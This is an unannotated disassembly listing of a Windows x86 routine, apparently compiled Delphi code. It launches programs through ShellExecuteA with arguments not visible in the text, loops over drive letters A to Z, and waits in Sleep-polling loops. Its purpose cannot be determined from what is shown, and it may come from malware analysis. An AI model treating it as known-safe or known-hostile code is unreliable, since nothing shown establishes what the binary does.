lea eax, [ebp - 0x180]
mov edx, 3
call fcn.0040448c
mov ecx, dword [ebp - 0x180]
mov dl, 1
mov eax, dword [0x42394c]
call fcn.0041ca18
inc byte [0x1367660]
cmp byte [0x1367660], 2
jne 0x420d9c
call fcn.0041f5b0
mov al, byte [0x42421d]
dec al
je 0x421236
dec al
je 0x42128e
dec al
je 0x4212b5
jmp 0x42153d
push 0
push 0
push 0x421aa8
lea edx, [ebp - 0x190]
xor eax, eax
call fcn.004029d0
push dword [ebp - 0x190]
push 0x421ac8
lea eax, [ebp - 0x18c]
mov edx, 3
call fcn.0040448c
mov eax, dword [ebp - 0x18c]
call fcn.004045cc
push eax
push 0x421acc
push 0x421a88
push 0
call sub.shell32.dll_ShellExecuteA
call fcn.0041a424
jmp 0x42153d
push 0
push 0x421ad4
push 0x421ad8
push 0x421ae8
push 0x421a88
push 0
call sub.shell32.dll_ShellExecuteA
call fcn.0041a424
jmp 0x42153d
call fcn.0041e298
call fcn.0041e2b4
call fcn.0041ecf4
call fcn.0041e148
mov byte [0x1367660], 0
mov byte [0x4241dc], 0
mov esi, 0x1a
mov ebx, 0x4241e9
mov byte [ebx], 0
add ebx, 2
dec esi
jne 0x4212e1
cmp byte [0x136664d], 0
jne 0x42131a
jmp 0x4212ff
push 0x2710
call sub.kernel32.dll_Sleep
push 0
push 0
push 0x4241e0
mov ecx, 0x41df08
xor edx, edx
xor eax, eax
call fcn.004040c0
test eax, eax
je 0x4212f5
cmp byte [0x136664c], 0
jne 0x4213f9
xor esi, esi
mov ebx, 0x4241e8
lea eax, [ebp - 0x198]
mov edx, esi
add dl, 0x41
call fcn.004042ec
mov eax, dword [ebp - 0x198]
lea edx, [ebp - 0x194]
call fcn.00407774
mov eax, dword [ebp - 0x194]
push eax
lea eax, [ebp - 0x1a0]
mov edx, 1
mov ecx, dword [0x423954]
dec edx
test ecx, ecx
je 0x421371
cmp edx, dword [ecx - 4]
jb 0x421376
call fcn.0040353c
inc edx
mov dx, word [ecx + edx*2 - 2]
call fcn.004042fc
mov eax, dword [ebp - 0x1a0]
lea edx, [ebp - 0x19c]
call fcn.00407774
mov edx, dword [ebp - 0x19c]
pop eax
call fcn.00404518
je 0x4213d8
mov eax, esi
cmp eax, 0xff
jbe 0x4213ae
call fcn.0040353c
mov byte [ebx], al
jmp 0x4213bc
push 0x2710
call sub.kernel32.dll_Sleep
push ebx
push 0
push 0x4241e0
mov ecx, 0x41f028
xor edx, edx
xor eax, eax
call fcn.004040c0
test eax, eax
je 0x4213b2
jmp 0x4213ec
mov eax, esi
cmp eax, 0xff
jbe 0x4213e6
call fcn.0040353c
mov byte [ebx], al
mov byte [ebx + 1], 1
inc esi
add ebx, 2
cmp esi, 0x1a
jne 0x42132e
mov byte [0x42421c], 0
cmp byte [0x136664c], 0
jne 0x421443
jmp 0x42143a
mov byte [0x42421c], 1
mov esi, 0x1a
mov ebx, 0x4241e9
cmp byte [ebx], 0
jne 0x42142a
mov byte [0x42421c], 0
jmp 0x421430
add ebx, 2
dec esi
jne 0x42141c
push 0x1388
call sub.kernel32.dll_Sleep
cmp byte [0x42421c], 0
je 0x42140b
cmp byte [0x136664d], 0
jne 0x421461
jmp 0x421458
push 0x1388
call sub.kernel32.dll_Sleep
cmp byte [0x4241dc], 0
je 0x42144e
mov byte [0x42421c], 0
cmp byte [0x136664d], 0
jne 0x4214ab
jmp 0x4214a2
mov byte [0x42421c], 1
mov eax, 0xf4241
mov ebx, 0x42422c
cmp byte [ebx], 0
jne 0x421492
mov byte [0x42421c], 0
jmp 0x421498
add ebx, 0x10
dec eax
jne 0x421484
push 0x1388
call sub.kernel32.dll_Sleep
cmp byte [0x42421c], 0
je 0x421473
mov bl, byte [0x136664c]
xor bl, 1
test bl, bl
je 0x421513
lea eax, [ebp - 0x1a8]
mov edx, 1
mov ecx, dword [0x423954]
dec edx
test ecx, ecx
je 0x4214d3
cmp edx, dword [ecx - 4]
jb 0x4214d8
call fcn.0040353c
inc edx
mov dx, word [ecx + edx*2 - 2]
call fcn.004042fc
lea eax, [ebp - 0x1a8]
mov edx, 0x421a98
call fcn.004043d4
mov edx, dword [ebp - 0x1a8]
lea eax, [ebp - 0x1a4]
call fcn.004049d4
mov eax, dword [ebp - 0x1a4]
xor ecx, ecx
xor edx, edx
call fcn.0041ca18
test bl, bl
je 0x421525
xor ecx, ecx
mov dl, 1
mov eax, dword [0x42394c]
call fcn.0041ca18
inc byte [0x1367660]
cmp byte [0x1367660], 2
jne 0x4212d0
jmp 0x4212b5
mov eax, dword [0x42395c]
push eax
call sub.kernel32.dll_CloseHandle_1
mov byte [0x4224e8], 0
mov eax, dword [0x422520]
mov byte [eax], 0
push 0x1388
call sub.kernel32.dll_Sleep
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x42169e
lea eax, [ebp - 0x1a8]
call fcn.00404104
lea eax, [ebp - 0x1a4]
call fcn.0040482c
lea eax, [ebp - 0x1a0]
mov edx, 0xa
call fcn.00404128
lea eax, [ebp - 0x178]
call fcn.0040482c
lea eax, [ebp - 0x174]
mov edx, 3
call fcn.00404128
lea eax, [ebp - 0x164]
call fcn.00404104
lea eax, [ebp - 0x15c]
mov edx, 0xa
call fcn.00404128
lea eax, [ebp - 0x134]
call fcn.0040482c
lea eax, [ebp - 0x130]
call fcn.00404104
lea eax, [ebp - 0x12c]
call fcn.0040482c
lea eax, [ebp - 0x128]
call fcn.00404104
lea eax, [ebp - 0x124]
mov edx, 2
call fcn.00404844
lea eax, [ebp - 0x11c]
call fcn.00404104
lea eax, [ebp - 0x118]
call fcn.0040482c
lea eax, [ebp - 0x114]
call fcn.00404104
lea eax, [ebp - 0x110]
mov edx, 2
call fcn.00404844
lea eax, [ebp - 0x108]
call fcn.00404104
lea eax, [ebp - 0x104]
call fcn.0040482c
lea eax, [ebp - 0x100]
mov edx, 6
call fcn.00404128
lea eax, [ebp - 0xe8]
call fcn.0040482c
lea eax, [ebp - 0xe4]
mov edx, 3
call fcn.00404128
lea eax, [ebp - 0xd8]
call fcn.0040482c
lea eax, [ebp - 0xd4]
mov edx, 0x2f
call fcn.00404128
ret